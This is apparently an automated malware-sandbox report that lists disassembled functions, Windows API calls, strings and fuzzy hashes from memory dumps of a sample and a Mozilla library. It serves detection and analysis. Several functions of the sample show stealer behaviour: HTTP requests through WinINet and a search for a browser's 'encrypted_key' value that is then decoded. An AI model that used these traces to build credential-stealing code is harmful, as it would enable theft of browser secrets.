Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: c57bb36819389dff6960a8551f1850b0035a7dbbe7fd4b39f48456b153152397
Instruction ID: 9942254428ec0266101d168d59ca5121f6018dfe422573223d80e293134bbd91
Opcode Fuzzy Hash: c57bb36819389dff6960a8551f1850b0035a7dbbe7fd4b39f48456b153152397
Instruction Fuzzy Hash: F9210575A00548ABDB009F64E904ABA77B9EF8626CF304214FD28A7741DB759806CBE1

Function 6CE9C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CE9C5A3
WideCharToMultiByte.KERNEL32 ref: 6CE9C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CE9C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CE9CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE9CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CE9CAA5

Strings

(null), xrefs: 6CE9C596
0, xrefs: 6CE9D30A

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 60a67f25623f585dd11dc1c43fbcde72a2ec0183549a26cec9096579bea3221d
Instruction ID: 9a47688c8521461b8289931734ab516681ce030aa4b4c8367cb4e2a7c050bf9e
Opcode Fuzzy Hash: 60a67f25623f585dd11dc1c43fbcde72a2ec0183549a26cec9096579bea3221d
Instruction Fuzzy Hash: B2A1BC317083519FDB00EF28C95475ABBF1BF8A748F24882DE89997741D735E805CB96

Function 005352C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 00526280: InternetOpenA.WININET(00540DFE,00000001,00000000,00000000,00000000), ref: 005262E1
Part of subcall function 00526280: StrCmpCA.SHLWAPI(?,0108F278), ref: 00526303
Part of subcall function 00526280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00526335
Part of subcall function 00526280: HttpOpenRequestA.WININET(00000000,GET,?,0108EC50,00000000,00000000,00400100,00000000), ref: 00526385
Part of subcall function 00526280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005263BF
Part of subcall function 00526280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005263D1

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00535318
lstrlen.KERNEL32(00000000), ref: 0053532F

Part of subcall function 00538E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00538E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00535364
lstrlen.KERNEL32(00000000), ref: 00535383
lstrlen.KERNEL32(00000000), ref: 005353AE

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Strings

ERROR, xrefs: 0053530A
ERROR, xrefs: 0053546F
ERROR, xrefs: 005354A9
ERROR, xrefs: 005353B9
ERROR, xrefs: 00535432

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: e87b60fa19ae550a5c7fedd4521759f97dbb832c375fd93ede013bef94524a04
Instruction ID: d3a22d58775f6d12cb15efbd75cb95a1e098df95344af2c29f4dab87b78a93f1
Opcode Fuzzy Hash: e87b60fa19ae550a5c7fedd4521759f97dbb832c375fd93ede013bef94524a04
Instruction Fuzzy Hash: 9051F07091014AABCB18FF64DD9AAED7F79BF90300F504018F44A6B591EF346B45DB62

Function 6CE73480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CE73284,?,?,6CE956F6), ref: 6CE73492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CE73284,?,?,6CE956F6), ref: 6CE734A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CE73284,?,?,6CE956F6), ref: 6CE734EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CE7350E
__Init_thread_footer.LIBCMT ref: 6CE73522
__aulldiv.LIBCMT ref: 6CE73552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CE73284,?,?,6CE956F6), ref: 6CE7357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CE73284,?,?,6CE956F6), ref: 6CE73592

Part of subcall function 6CEAAB89: EnterCriticalSection.KERNEL32(6CEFE370,?,?,?,6CE734DE,6CEFF6CC,?,?,?,?,?,?,?,6CE73284), ref: 6CEAAB94
Part of subcall function 6CEAAB89: LeaveCriticalSection.KERNEL32(6CEFE370,?,6CE734DE,6CEFF6CC,?,?,?,?,?,?,?,6CE73284,?,?,6CE956F6), ref: 6CEAABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CE73508
kernel32.dll, xrefs: 6CE734EA

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: c891e24f27ecbdba295fcafd196c272cd0f7437b03b15eac1ca83dc975b48833
Instruction ID: e6ea6a686f166c6e3b7cda5051f31fbb335a2fcb0082089e191e45e49460561a
Opcode Fuzzy Hash: c891e24f27ecbdba295fcafd196c272cd0f7437b03b15eac1ca83dc975b48833
Instruction Fuzzy Hash: 3331C471F002099BDF10DFB9E848AAE77B9FB86309F214019E525D7750EB74A905CFA1

Function 6CE74480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CEB4843,?), ref: 6CE745F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CEB4843,?), ref: 6CE7468A
free.MOZGLUE(?,?,?,?,?,?,6CEB4843,?), ref: 6CE746C9
free.MOZGLUE(?), ref: 6CE746EF
free.MOZGLUE(?), ref: 6CE74712
free.MOZGLUE(?), ref: 6CE74735
free.MOZGLUE(?), ref: 6CE74758
free.MOZGLUE(?), ref: 6CE7477B
free.MOZGLUE(?), ref: 6CE7479E

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 5f4f207cc5580fea06777f0ea4ee543bc122da68ac097f7c15aedde729f2ea44
Instruction ID: 9ee8ba7a12e39b09f21f5ce82b70e8c23afbb5536c81286529c82f6a17a07da8
Opcode Fuzzy Hash: 5f4f207cc5580fea06777f0ea4ee543bc122da68ac097f7c15aedde729f2ea44
Instruction Fuzzy Hash: 6AB10671A001558FDB28DF7CD89076D77B1AF46328F28066EE416DBB82D7359840CF62

Function 005312D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 00c36705a36f4003cc7cf133261e1963a61894e74ef48c7d19eee0c28e21f863
Instruction ID: ed2b16c595dc1c1f6d2dcca4b5bd55fb5f6546d0824fb9bd3f805acf6ac97723
Opcode Fuzzy Hash: 00c36705a36f4003cc7cf133261e1963a61894e74ef48c7d19eee0c28e21f863
Instruction Fuzzy Hash: 35C1A8B5900219ABCB14EF60DC8DFEA7B78BBA4304F104598F50AA7141DF74AA85CF95

Function 00534280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

lstrcat.KERNEL32(?,00000000), ref: 005342EC
lstrcat.KERNEL32(?,0108ED40), ref: 0053430B
lstrcat.KERNEL32(?,?), ref: 0053431F
lstrcat.KERNEL32(?,0108D270), ref: 00534333

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 00538D90: GetFileAttributesA.KERNEL32(00000000,?,00521B54,?,?,0054564C,?,?,00540E1F), ref: 00538D9F

Part of subcall function 00529CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00529D39

Part of subcall function 005299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
Part of subcall function 005299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
Part of subcall function 005299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
Part of subcall function 005299C0: ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
Part of subcall function 005299C0: LocalFree.KERNEL32(0052148F), ref: 00529A90
Part of subcall function 005299C0: CloseHandle.KERNEL32(000000FF), ref: 00529A9A

Part of subcall function 005393C0: GlobalAlloc.KERNEL32(00000000,005343DD,005343DD), ref: 005393D3

StrStrA.SHLWAPI(?,0108EE30), ref: 005343F3
GlobalFree.KERNEL32(?), ref: 00534512

Part of subcall function 00529AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529AEF
Part of subcall function 00529AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00524EEE,00000000,?), ref: 00529B01
Part of subcall function 00529AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529B2A
Part of subcall function 00529AC0: LocalFree.KERNEL32(?,?,?,?,00524EEE,00000000,?), ref: 00529B3F

lstrcat.KERNEL32(?,00000000), ref: 005344A3
StrCmpCA.SHLWAPI(?,005408D1), ref: 005344C0
lstrcat.KERNEL32(00000000,00000000), ref: 005344D2
lstrcat.KERNEL32(00000000,?), ref: 005344E5
lstrcat.KERNEL32(00000000,00540FB8), ref: 005344F4

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 173d2f3e78b3c09f7e7964bead30980f72439dac02d97994d484cdb093d22233
Instruction ID: 6ac0cf8e6fdfbb8ac232a6699bf65aeec22635698994058e9a38b92351fd9b77
Opcode Fuzzy Hash: 173d2f3e78b3c09f7e7964bead30980f72439dac02d97994d484cdb093d22233
Instruction Fuzzy Hash: BF714A76900219B7CB14EBA0DC89FEE7779BF88300F048598F606A7181EA75EB55CF91

Function 6CEDAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CEDAC52
CreateFileMappingW.KERNEL32 ref: 6CEDAC7D
GetSystemInfo.KERNEL32 ref: 6CEDAC98
MapViewOfFile.KERNEL32 ref: 6CEDACB0
GetSystemInfo.KERNEL32 ref: 6CEDACCD
MapViewOfFile.KERNEL32 ref: 6CEDAD05
UnmapViewOfFile.KERNEL32 ref: 6CEDAD1C
CloseHandle.KERNEL32 ref: 6CEDAD28
UnmapViewOfFile.KERNEL32 ref: 6CEDAD37
CloseHandle.KERNEL32 ref: 6CEDAD43
CloseHandle.KERNEL32 ref: 6CEDAD67

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 6a568acccc07c7f6e3a0d42baee34b4c1f0bf204309de1684a1f4ef00f9163db
Instruction ID: a45b4bef155cd57b407c83383bcd8783dbcfbb2a2c98e85dc74ad8100282397c
Opcode Fuzzy Hash: 6a568acccc07c7f6e3a0d42baee34b4c1f0bf204309de1684a1f4ef00f9163db
Instruction Fuzzy Hash: F8314FB1E047088FDB00AF78D64926EBBF1BF85309F12492DE99597311EB70A549CB82

Function 6CEC9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEC8273), ref: 6CEC9D65
free.MOZGLUE(6CEC8273,?), ref: 6CEC9D7C
free.MOZGLUE(?,?), ref: 6CEC9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CEC9E0F
free.MOZGLUE(6CEC946B,?,?), ref: 6CEC9E24
free.MOZGLUE(?,?,?), ref: 6CEC9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CEC9EC8
free.MOZGLUE(6CEC946B,?,?,?), ref: 6CEC9EDF
free.MOZGLUE(?,?,?,?), ref: 6CEC9EF5

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 61f83fd1536588136dbba8a3d42fabb7b678a355b9e69d07d58ba297c7c3d3e9
Instruction ID: 0170f45dcd7f83eef8fcb7a10856f996cd42d098558cc170c239ca2ca808dd18
Opcode Fuzzy Hash: 61f83fd1536588136dbba8a3d42fabb7b678a355b9e69d07d58ba297c7c3d3e9
Instruction Fuzzy Hash: C4719E70A0AB418FC712CF18C58055BF7F4FF99319B64861DE85A5BB01EB31E885CB82

Function 6CECDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CECDDCF

Part of subcall function 6CEAFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEAFA4B

Part of subcall function 6CEC90E0: free.MOZGLUE(?,00000000,?,?,6CECDEDB), ref: 6CEC90FF
Part of subcall function 6CEC90E0: free.MOZGLUE(?,00000000,?,?,6CECDEDB), ref: 6CEC9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CECDE0D
free.MOZGLUE(00000000), ref: 6CECDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CECDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CECDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CECDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CEBDEFD,?,6CE84A68), ref: 6CECDF32

Part of subcall function 6CECDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CECDB86
Part of subcall function 6CECDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CECDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CEBDEFD,?,6CE84A68), ref: 6CECDF65
free.MOZGLUE(?), ref: 6CECDF80

Part of subcall function 6CE95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CE95EDB
Part of subcall function 6CE95E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CE95F27
Part of subcall function 6CE95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CE95FB2

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 36e1a23c7f894d9e02d3417fe890aeebb0a4937411bff5155716a31541d53819
Instruction ID: fafb5f23d11bcebbf94f4893435d5b8b0f052324ce099466b7432251d1510d7d
Opcode Fuzzy Hash: 36e1a23c7f894d9e02d3417fe890aeebb0a4937411bff5155716a31541d53819
Instruction Fuzzy Hash: 8651967AB416019FD7219A18DA806AEB376BF9131CF75011CD87A53B00D732BA1AC793

Function 6CEACC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CE731A7), ref: 6CEACDDD

Strings

<jemalloc>, xrefs: 6CEACF9F, 6CEACFB3
: (malloc) Error in VirtualFree(), xrefs: 6CEACFA4, 6CEACFB8

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 7c68812b0be8c50d38381026342d64a342c19c0e079a1848cb2021321e276558
